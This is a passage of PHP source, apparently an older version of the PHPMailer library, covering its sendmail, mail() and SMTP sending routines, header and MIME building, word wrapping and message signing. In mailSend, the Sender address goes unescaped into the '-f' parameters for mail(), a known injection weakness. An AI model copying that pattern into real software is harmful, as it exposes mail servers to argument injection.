8956 if ($this->exceptions) {
8957 throw $exc;
8958 }
8959 }
8960 return false;
8961 }
8962
8963 /**
8964 * Send mail using the $Sendmail program.
8965 * @param string $header The message headers
8966 * @param string $body The message body
8967 * @see PHPMailer::$Sendmail
8968 * @throws phpmailerException
8969 * @access protected
8970 * @return boolean
8971 */
8972 protected function sendmailSend($header, $body)
8973 {
8974 if ($this->Sender != '') {
8975 if ($this->Mailer == 'qmail') {
8976 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8977 } else {
8978 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8979 }
8980 } else {
8981 if ($this->Mailer == 'qmail') {
8982 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
8983 } else {
8984 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
8985 }
8986 }
8987 if ($this->SingleTo) {
8988 foreach ($this->SingleToArray as $toAddr) {
8989 if (!@$mail = popen($sendmail, 'w')) {
8990 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
8991 }
8992 fputs($mail, 'To: ' . $toAddr . "\n");
8993 fputs($mail, $header);
8994 fputs($mail, $body);
8995 $result = pclose($mail);
8996 $this->doCallback(
8997 ($result == 0),
8998 array($toAddr),
8999 $this->cc,
9000 $this->bcc,
9001 $this->Subject,
9002 $body,
9003 $this->From
9004 );
9005 if ($result != 0) {
9006 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9007 }
9008 }
9009 } else {
9010 if (!@$mail = popen($sendmail, 'w')) {
9011 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9012 }
9013 fputs($mail, $header);
9014 fputs($mail, $body);
9015 $result = pclose($mail);
9016 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9017 if ($result != 0) {
9018 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9019 }
9020 }
9021 return true;
9022 }
9023
9024 /**
9025 * Send mail using the PHP mail() function.
9026 * @param string $header The message headers
9027 * @param string $body The message body
9028 * @link http://www.php.net/manual/en/book.mail.php
9029 * @throws phpmailerException
9030 * @access protected
9031 * @return boolean
9032 */
9033 protected function mailSend($header, $body)
9034 {
9035 $toArr = array();
9036 foreach ($this->to as $toaddr) {
9037 $toArr[] = $this->addrFormat($toaddr);
9038 }
9039 $to = implode(', ', $toArr);
9040
9041 if (empty($this->Sender)) {
9042 $params = ' ';
9043 } else {
9044 $params = sprintf('-f%s', $this->Sender);
9045 }
9046 if ($this->Sender != '' and !ini_get('safe_mode')) {
9047 $old_from = ini_get('sendmail_from');
9048 ini_set('sendmail_from', $this->Sender);
9049 }
9050 $result = false;
9051 if ($this->SingleTo && count($toArr) > 1) {
9052 foreach ($toArr as $toAddr) {
9053 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
9054 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9055 }
9056 } else {
9057 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
9058 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9059 }
9060 if (isset($old_from)) {
9061 ini_set('sendmail_from', $old_from);
9062 }
9063 if (!$result) {
9064 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
9065 }
9066 return true;
9067 }
9068
9069 /**
9070 * Get an instance to use for SMTP operations.
9071 * Override this function to load your own SMTP implementation
9072 * @return SMTP
9073 */
9074 public function getSMTPInstance()
9075 {
9076 if (!is_object($this->smtp)) {
9077 $this->smtp = new SMTP;
9078 }
9079 return $this->smtp;
9080 }
9081
9082 /**
9083 * Send mail via SMTP.
9084 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
9085 * Uses the PHPMailerSMTP class by default.
9086 * @see PHPMailer::getSMTPInstance() to use a different class.
9087 * @param string $header The message headers
9088 * @param string $body The message body
9089 * @throws phpmailerException
9090 * @uses SMTP
9091 * @access protected
9092 * @return boolean
9093 */
9094 protected function smtpSend($header, $body)
9095 {
9096 $bad_rcpt = array();
9097
9098 if (!$this->smtpConnect()) {
9099 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
9100 }
9101 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
9102 if (!$this->smtp->mail($smtp_from)) {
9103 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
9104 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
9105 }
9106
9107 // Attempt to send to all recipients
9108 foreach ($this->to as $to) {
9109 if (!$this->smtp->recipient($to[0])) {
9110 $bad_rcpt[] = $to[0];
9111 $isSent = false;
9112 } else {
9113 $isSent = true;
9114 }
9115 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
9116 }
9117 foreach ($this->cc as $cc) {
9118 if (!$this->smtp->recipient($cc[0])) {
9119 $bad_rcpt[] = $cc[0];
9120 $isSent = false;
9121 } else {
9122 $isSent = true;
9123 }
9124 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
9125 }
9126 foreach ($this->bcc as $bcc) {
9127 if (!$this->smtp->recipient($bcc[0])) {
9128 $bad_rcpt[] = $bcc[0];
9129 $isSent = false;
9130 } else {
9131 $isSent = true;
9132 }
9133 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
9134 }
9135
9136 // Only send the DATA command if we have viable recipients
9137 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
9138 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
9139 }
9140 if ($this->SMTPKeepAlive) {
9141 $this->smtp->reset();
9142 } else {
9143 $this->smtp->quit();
9144 $this->smtp->close();
9145 }
9146 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
9147 throw new phpmailerException(
9148 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
9149 self::STOP_CONTINUE
9150 );
9151 }
9152 return true;
9153 }
9154
9155 /**
9156 * Initiate a connection to an SMTP server.
9157 * Returns false if the operation failed.
9158 * @param array $options An array of options compatible with stream_context_create()
9159 * @uses SMTP
9160 * @access public
9161 * @throws phpmailerException
9162 * @return boolean
9163 */
9164 public function smtpConnect($options = array())
9165 {
9166 if (is_null($this->smtp)) {
9167 $this->smtp = $this->getSMTPInstance();
9168 }
9169
9170 // Already connected?
9171 if ($this->smtp->connected()) {
9172 return true;
9173 }
9174
9175 $this->smtp->setTimeout($this->Timeout);
9176 $this->smtp->setDebugLevel($this->SMTPDebug);
9177 $this->smtp->setDebugOutput($this->Debugoutput);
9178 $this->smtp->setVerp($this->do_verp);
9179 $hosts = explode(';', $this->Host);
9180 $lastexception = null;
9181
9182 foreach ($hosts as $hostentry) {
9183 $hostinfo = array();
9184 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
9185 // Not a valid host entry
9186 continue;
9187 }
9188 // $hostinfo[2]: optional ssl or tls prefix
9189 // $hostinfo[3]: the hostname
9190 // $hostinfo[4]: optional port number
9191 // The host string prefix can temporarily override the current setting for SMTPSecure
9192 // If it's not specified, the default value is used
9193 $prefix = '';
9194 $tls = ($this->SMTPSecure == 'tls');
9195 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
9196 $prefix = 'ssl://';
9197 $tls = false; // Can't have SSL and TLS at once
9198 } elseif ($hostinfo[2] == 'tls') {
9199 $tls = true;
9200 // tls doesn't use a prefix
9201 }
9202 $host = $hostinfo[3];
9203 $port = $this->Port;
9204 $tport = (integer)$hostinfo[4];
9205 if ($tport > 0 and $tport < 65536) {
9206 $port = $tport;
9207 }
9208 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
9209 try {
9210 if ($this->Helo) {
9211 $hello = $this->Helo;
9212 } else {
9213 $hello = $this->serverHostname();
9214 }
9215 $this->smtp->hello($hello);
9216
9217 if ($tls) {
9218 if (!$this->smtp->startTLS()) {
9219 throw new phpmailerException($this->lang('connect_host'));
9220 }
9221 // We must resend HELO after tls negotiation
9222 $this->smtp->hello($hello);
9223 }
9224 if ($this->SMTPAuth) {
9225 if (!$this->smtp->authenticate(
9226 $this->Username,
9227 $this->Password,
9228 $this->AuthType,
9229 $this->Realm,
9230 $this->Workstation
9231 )
9232 ) {
9233 throw new phpmailerException($this->lang('authenticate'));
9234 }
9235 }
9236 return true;
9237 } catch (phpmailerException $exc) {
9238 $lastexception = $exc;
9239 // We must have connected, but then failed TLS or Auth, so close connection nicely
9240 $this->smtp->quit();
9241 }
9242 }
9243 }
9244 // If we get here, all connection attempts have failed, so close connection hard
9245 $this->smtp->close();
9246 // As we've caught all exceptions, just report whatever the last one was
9247 if ($this->exceptions and !is_null($lastexception)) {
9248 throw $lastexception;
9249 }
9250 return false;
9251 }
9252
9253 /**
9254 * Close the active SMTP session if one exists.
9255 * @return void
9256 */
9257 public function smtpClose()
9258 {
9259 if ($this->smtp !== null) {
9260 if ($this->smtp->connected()) {
9261 $this->smtp->quit();
9262 $this->smtp->close();
9263 }
9264 }
9265 }
9266
9267 /**
9268 * Set the language for error messages.
9269 * Returns false if it cannot load the language file.
9270 * The default language is English.
9271 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
9272 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
9273 * @return boolean
9274 * @access public
9275 */
9276 public function setLanguage($langcode = 'en', $lang_path = '')
9277 {
9278 // Define full set of translatable strings in English
9279 $PHPMAILER_LANG = array(
9280 'authenticate' => 'SMTP Error: Could not authenticate.',
9281 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
9282 'data_not_accepted' => 'SMTP Error: data not accepted.',
9283 'empty_message' => 'Message body empty',
9284 'encoding' => 'Unknown encoding: ',
9285 'execute' => 'Could not execute: ',
9286 'file_access' => 'Could not access file: ',
9287 'file_open' => 'File Error: Could not open file: ',
9288 'from_failed' => 'The following From address failed: ',
9289 'instantiate' => 'Could not instantiate mail function.',
9290 'invalid_address' => 'Invalid address',
9291 'mailer_not_supported' => ' mailer is not supported.',
9292 'provide_address' => 'You must provide at least one recipient email address.',
9293 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
9294 'signing' => 'Signing Error: ',
9295 'smtp_connect_failed' => 'SMTP connect() failed.',
9296 'smtp_error' => 'SMTP server error: ',
9297 'variable_set' => 'Cannot set or reset variable: '
9298 );
9299 if (empty($lang_path)) {
9300 // Calculate an absolute path so it can work if CWD is not here
9301 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
9302 }
9303 $foundlang = true;
9304 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
9305 if ($langcode != 'en') { // There is no English translation file
9306 // Make sure language file path is readable
9307 if (!is_readable($lang_file)) {
9308 $foundlang = false;
9309 } else {
9310 // Overwrite language-specific strings.
9311 // This way we'll never have missing translations.
9312 $foundlang = include $lang_file;
9313 }
9314 }
9315 $this->language = $PHPMAILER_LANG;
9316 return (boolean)$foundlang; // Returns false if language not found
9317 }
9318
9319 /**
9320 * Get the array of strings for the current language.
9321 * @return array
9322 */
9323 public function getTranslations()
9324 {
9325 return $this->language;
9326 }
9327
9328 /**
9329 * Create recipient headers.
9330 * @access public
9331 * @param string $type
9332 * @param array $addr An array of recipient,
9333 * where each recipient is a 2-element indexed array with element 0 containing an address
9334 * and element 1 containing a name, like:
9335 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
9336 * @return string
9337 */
9338 public function addrAppend($type, $addr)
9339 {
9340 $addresses = array();
9341 foreach ($addr as $address) {
9342 $addresses[] = $this->addrFormat($address);
9343 }
9344 return $type . ': ' . implode(', ', $addresses) . $this->LE;
9345 }
9346
9347 /**
9348 * Format an address for use in a message header.
9349 * @access public
9350 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
9351 * like array('joe@example.com', 'Joe User')
9352 * @return string
9353 */
9354 public function addrFormat($addr)
9355 {
9356 if (empty($addr[1])) { // No name provided
9357 return $this->secureHeader($addr[0]);
9358 } else {
9359 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
9360 $addr[0]
9361 ) . '>';
9362 }
9363 }
9364
9365 /**
9366 * Word-wrap message.
9367 * For use with mailers that do not automatically perform wrapping
9368 * and for quoted-printable encoded messages.
9369 * Original written by philippe.
9370 * @param string $message The message to wrap
9371 * @param integer $length The line length to wrap to
9372 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
9373 * @access public
9374 * @return string
9375 */
9376 public function wrapText($message, $length, $qp_mode = false)
9377 {
9378 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
9379 // If utf-8 encoding is used, we will need to make sure we don't
9380 // split multibyte characters when we wrap
9381 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
9382 $lelen = strlen($this->LE);
9383 $crlflen = strlen(self::CRLF);
9384
9385 $message = $this->fixEOL($message);
9386 if (substr($message, -$lelen) == $this->LE) {
9387 $message = substr($message, 0, -$lelen);
9388 }
9389
9390 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
9391 $message = '';
9392 for ($i = 0; $i < count($line); $i++) {
9393 $line_part = explode(' ', $line[$i]);
9394 $buf = '';
9395 for ($e = 0; $e < count($line_part); $e++) {
9396 $word = $line_part[$e];
9397 if ($qp_mode and (strlen($word) > $length)) {
9398 $space_left = $length - strlen($buf) - $crlflen;
9399 if ($e != 0) {
9400 if ($space_left > 20) {
9401 $len = $space_left;
9402 if ($is_utf8) {
9403 $len = $this->utf8CharBoundary($word, $len);
9404 } elseif (substr($word, $len - 1, 1) == '=') {
9405 $len--;
9406 } elseif (substr($word, $len - 2, 1) == '=') {
9407 $len -= 2;
9408 }
9409 $part = substr($word, 0, $len);
9410 $word = substr($word, $len);
9411 $buf .= ' ' . $part;
9412 $message .= $buf . sprintf('=%s', self::CRLF);
9413 } else {
9414 $message .= $buf . $soft_break;
9415 }
9416 $buf = '';
9417 }
9418 while (strlen($word) > 0) {
9419 if ($length <= 0) {
9420 break;
9421 }
9422 $len = $length;
9423 if ($is_utf8) {
9424 $len = $this->utf8CharBoundary($word, $len);
9425 } elseif (substr($word, $len - 1, 1) == '=') {
9426 $len--;
9427 } elseif (substr($word, $len - 2, 1) == '=') {
9428 $len -= 2;
9429 }
9430 $part = substr($word, 0, $len);
9431 $word = substr($word, $len);
9432
9433 if (strlen($word) > 0) {
9434 $message .= $part . sprintf('=%s', self::CRLF);
9435 } else {
9436 $buf = $part;
9437 }
9438 }
9439 } else {
9440 $buf_o = $buf;
9441 $buf .= ($e == 0) ? $word : (' ' . $word);
9442
9443 if (strlen($buf) > $length and $buf_o != '') {
9444 $message .= $buf_o . $soft_break;
9445 $buf = $word;
9446 }
9447 }
9448 }
9449 $message .= $buf . self::CRLF;
9450 }
9451
9452 return $message;
9453 }
9454
9455 /**
9456 * Find the last character boundary prior to $maxLength in a utf-8
9457 * quoted (printable) encoded string.
9458 * Original written by Colin Brown.
9459 * @access public
9460 * @param string $encodedText utf-8 QP text
9461 * @param integer $maxLength find last character boundary prior to this length
9462 * @return integer
9463 */
9464 public function utf8CharBoundary($encodedText, $maxLength)
9465 {
9466 $foundSplitPos = false;
9467 $lookBack = 3;
9468 while (!$foundSplitPos) {
9469 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
9470 $encodedCharPos = strpos($lastChunk, '=');
9471 if (false !== $encodedCharPos) {
9472 // Found start of encoded character byte within $lookBack block.
9473 // Check the encoded byte value (the 2 chars after the '=')
9474 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
9475 $dec = hexdec($hex);
9476 if ($dec < 128) { // Single byte character.
9477 // If the encoded char was found at pos 0, it will fit
9478 // otherwise reduce maxLength to start of the encoded char
9479 $maxLength = ($encodedCharPos == 0) ? $maxLength :
9480 $maxLength - ($lookBack - $encodedCharPos);
9481 $foundSplitPos = true;
9482 } elseif ($dec >= 192) { // First byte of a multi byte character
9483 // Reduce maxLength to split at start of character
9484 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
9485 $foundSplitPos = true;
9486 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
9487 $lookBack += 3;
9488 }
9489 } else {
9490 // No encoded character found
9491 $foundSplitPos = true;
9492 }
9493 }
9494 return $maxLength;
9495 }
9496
9497 /**
9498 * Set the body wrapping.
9499 * @access public
9500 * @return void
9501 */
9502 public function setWordWrap()
9503 {
9504 if ($this->WordWrap < 1) {
9505 return;
9506 }
9507
9508 switch ($this->message_type) {
9509 case 'alt':
9510 case 'alt_inline':
9511 case 'alt_attach':
9512 case 'alt_inline_attach':
9513 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
9514 break;
9515 default:
9516 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
9517 break;
9518 }
9519 }
9520
9521 /**
9522 * Assemble message headers.
9523 * @access public
9524 * @return string The assembled headers
9525 */
9526 public function createHeader()
9527 {
9528 $result = '';
9529
9530 // Set the boundaries
9531 $uniq_id = md5(uniqid(time()));
9532 $this->boundary[1] = 'b1_' . $uniq_id;
9533 $this->boundary[2] = 'b2_' . $uniq_id;
9534 $this->boundary[3] = 'b3_' . $uniq_id;
9535
9536 if ($this->MessageDate == '') {
9537 $this->MessageDate = self::rfcDate();
9538 }
9539 $result .= $this->headerLine('Date', $this->MessageDate);
9540
9541
9542 // To be created automatically by mail()
9543 if ($this->SingleTo) {
9544 if ($this->Mailer != 'mail') {
9545 foreach ($this->to as $toaddr) {
9546 $this->SingleToArray[] = $this->addrFormat($toaddr);
9547 }
9548 }
9549 } else {
9550 if (count($this->to) > 0) {
9551 if ($this->Mailer != 'mail') {
9552 $result .= $this->addrAppend('To', $this->to);
9553 }
9554 } elseif (count($this->cc) == 0) {
9555 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
9556 }
9557 }
9558
9559 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
9560
9561 // sendmail and mail() extract Cc from the header before sending
9562 if (count($this->cc) > 0) {
9563 $result .= $this->addrAppend('Cc', $this->cc);
9564 }
9565
9566 // sendmail and mail() extract Bcc from the header before sending
9567 if ((
9568 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
9569 )
9570 and count($this->bcc) > 0
9571 ) {
9572 $result .= $this->addrAppend('Bcc', $this->bcc);
9573 }
9574
9575 if (count($this->ReplyTo) > 0) {
9576 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
9577 }
9578
9579 // mail() sets the subject itself
9580 if ($this->Mailer != 'mail') {
9581 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
9582 }
9583
9584 if ($this->MessageID != '') {
9585 $this->lastMessageID = $this->MessageID;
9586 } else {
9587 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
9588 }
9589 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
9590 $result .= $this->headerLine('X-Priority', $this->Priority);
9591 if ($this->XMailer == '') {
9592 $result .= $this->headerLine(
9593 'X-Mailer',
9594 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
9595 );
9596 } else {
9597 $myXmailer = trim($this->XMailer);
9598 if ($myXmailer) {
9599 $result .= $this->headerLine('X-Mailer', $myXmailer);
9600 }
9601 }
9602
9603 if ($this->ConfirmReadingTo != '') {
9604 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
9605 }
9606
9607 // Add custom headers
9608 for ($index = 0; $index < count($this->CustomHeader); $index++) {
9609 $result .= $this->headerLine(
9610 trim($this->CustomHeader[$index][0]),
9611 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
9612 );
9613 }
9614 if (!$this->sign_key_file) {
9615 $result .= $this->headerLine('MIME-Version', '1.0');
9616 $result .= $this->getMailMIME();
9617 }
9618
9619 return $result;
9620 }
9621
9622 /**
9623 * Get the message MIME type headers.
9624 * @access public
9625 * @return string
9626 */
9627 public function getMailMIME()
9628 {
9629 $result = '';
9630 $ismultipart = true;
9631 switch ($this->message_type) {
9632 case 'inline':
9633 $result .= $this->headerLine('Content-Type', 'multipart/related;');
9634 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9635 break;
9636 case 'attach':
9637 case 'inline_attach':
9638 case 'alt_attach':
9639 case 'alt_inline_attach':
9640 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
9641 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9642 break;
9643 case 'alt':
9644 case 'alt_inline':
9645 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
9646 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9647 break;
9648 default:
9649 // Catches case 'plain': and case '':
9650 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
9651 $ismultipart = false;
9652 break;
9653 }
9654 // RFC1341 part 5 says 7bit is assumed if not specified
9655 if ($this->Encoding != '7bit') {
9656 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
9657 if ($ismultipart) {
9658 if ($this->Encoding == '8bit') {
9659 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
9660 }
9661 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
9662 } else {
9663 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
9664 }
9665 }
9666
9667 if ($this->Mailer != 'mail') {
9668 $result .= $this->LE;
9669 }
9670
9671 return $result;
9672 }
9673
9674 /**
9675 * Returns the whole MIME message.
9676 * Includes complete headers and body.
9677 * Only valid post preSend().
9678 * @see PHPMailer::preSend()
9679 * @access public
9680 * @return string
9681 */
9682 public function getSentMIMEMessage()
9683 {
9684 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
9685 }
9686
9687
9688 /**
9689 * Assemble the message body.
9690 * Returns an empty string on failure.
9691 * @access public
9692 * @throws phpmailerException
9693 * @return string The assembled message body
9694 */
9695 public function createBody()
9696 {
9697 $body = '';
9698
9699 if ($this->sign_key_file) {
9700 $body .= $this->getMailMIME() . $this->LE;
9701 }
9702
9703 $this->setWordWrap();
9704
9705 $bodyEncoding = $this->Encoding;
9706 $bodyCharSet = $this->CharSet;
9707 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
9708 $bodyEncoding = '7bit';
9709 $bodyCharSet = 'us-ascii';
9710 }
9711 $altBodyEncoding = $this->Encoding;
9712 $altBodyCharSet = $this->CharSet;
9713 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
9714 $altBodyEncoding = '7bit';
9715 $altBodyCharSet = 'us-ascii';
9716 }
9717 switch ($this->message_type) {
9718 case 'inline':
9719 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9720 $body .= $this->encodeString($this->Body, $bodyEncoding);
9721 $body .= $this->LE . $this->LE;
9722 $body .= $this->attachAll('inline', $this->boundary[1]);
9723 break;
9724 case 'attach':
9725 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9726 $body .= $this->encodeString($this->Body, $bodyEncoding);
9727 $body .= $this->LE . $this->LE;
9728 $body .= $this->attachAll('attachment', $this->boundary[1]);
9729 break;
9730 case 'inline_attach':
9731 $body .= $this->textLine('--' . $this->boundary[1]);
9732 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9733 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9734 $body .= $this->LE;
9735 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
9736 $body .= $this->encodeString($this->Body, $bodyEncoding);
9737 $body .= $this->LE . $this->LE;
9738 $body .= $this->attachAll('inline', $this->boundary[2]);
9739 $body .= $this->LE;
9740 $body .= $this->attachAll('attachment', $this->boundary[1]);
9741 break;
9742 case 'alt':
9743 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9744 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9745 $body .= $this->LE . $this->LE;
9746 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
9747 $body .= $this->encodeString($this->Body, $bodyEncoding);
9748 $body .= $this->LE . $this->LE;
9749 if (!empty($this->Ical)) {
9750 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
9751 $body .= $this->encodeString($this->Ical, $this->Encoding);
9752 $body .= $this->LE . $this->LE;
9753 }
9754 $body .= $this->endBoundary($this->boundary[1]);
9755 break;
9756 case 'alt_inline':
9757 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9758 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9759 $body .= $this->LE . $this->LE;
9760 $body .= $this->textLine('--' . $this->boundary[1]);
9761 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9762 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9763 $body .= $this->LE;
9764 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9765 $body .= $this->encodeString($this->Body, $bodyEncoding);
9766 $body .= $this->LE . $this->LE;
9767 $body .= $this->attachAll('inline', $this->boundary[2]);
9768 $body .= $this->LE;
9769 $body .= $this->endBoundary($this->boundary[1]);
9770 break;
9771 case 'alt_attach':
9772 $body .= $this->textLine('--' . $this->boundary[1]);
9773 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9774 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9775 $body .= $this->LE;
9776 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9777 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9778 $body .= $this->LE . $this->LE;
9779 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9780 $body .= $this->encodeString($this->Body, $bodyEncoding);
9781 $body .= $this->LE . $this->LE;
9782 $body .= $this->endBoundary($this->boundary[2]);
9783 $body .= $this->LE;
9784 $body .= $this->attachAll('attachment', $this->boundary[1]);
9785 break;
9786
9787 case 'alt_inline_attach':
9788 $body .= $this->textLine('--' . $this->boundary[1]);
9789 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9790 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9791 $body .= $this->LE;
9792 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9793 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9794 $body .= $this->LE . $this->LE;
9795 $body .= $this->textLine('--' . $this->boundary[2]);
9796 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9797 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
9798 $body .= $this->LE;
9799 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
9800 $body .= $this->encodeString($this->Body, $bodyEncoding);
9801 $body .= $this->LE . $this->LE;
9802 $body .= $this->attachAll('inline', $this->boundary[3]);
9803 $body .= $this->LE;
9804 $body .= $this->endBoundary($this->boundary[2]);
9805 $body .= $this->LE;
9806 $body .= $this->attachAll('attachment', $this->boundary[1]);
9807 break;
9808 default:
9809 // catch case 'plain' and case ''
9810 $body .= $this->encodeString($this->Body, $bodyEncoding);
9811 break;
9812 }
9813
9814 if ($this->isError()) {
9815 $body = '';
9816 } elseif ($this->sign_key_file) {
9817 try {
9818 if (!defined('PKCS7_TEXT')) {
9819 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
9820 }
9821 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
9822 $file = tempnam(sys_get_temp_dir(), 'mail');
9823 if (false === file_put_contents($file, $body)) {
9824 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
9825 }
9826 $signed = tempnam(sys_get_temp_dir(), 'signed');
9827 if (@openssl_pkcs7_sign(
9828 $file,
9829 $signed,
9830 'file://' . realpath($this->sign_cert_file),
9831 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
9832 null
9833 )
9834 ) {
9835 @unlink($file);
9836 $body = file_get_contents($signed);
9837 @unlink($signed);
9838 } else {
9839 @unlink($file);
9840 @unlink($signed);
9841 throw new phpmailerException($this->lang('signing') . openssl_error_string());
9842 }
9843 } catch (phpmailerException $exc) {
9844 $body = '';
9845 if ($this->exceptions) {
9846 throw $exc;
9847 }
9848 }
9849 }
9850 return $body;
9851 }
9852
9853 /**
9854 * Return the start of a message boundary.
9855 * @access protected
9856 * @param string $boundary
9857 * @param string $charSet
9858 * @param string $contentType
9859 * @param string $encoding
9860 * @return string
9861 */
9862 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
9863 {
9864 $result = '';
9865 if ($charSet == '') {
9866 $charSet = $this->CharSet;
9867 }
9868 if ($contentType == '') {
9869 $contentType = $this->ContentType;
9870 }
9871 if ($encoding == '') {
9872 $encoding = $this->Encoding;
9873 }
9874 $result .= $this->textLine('--' . $boundary);
9875 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
9876 $result .= $this->LE;
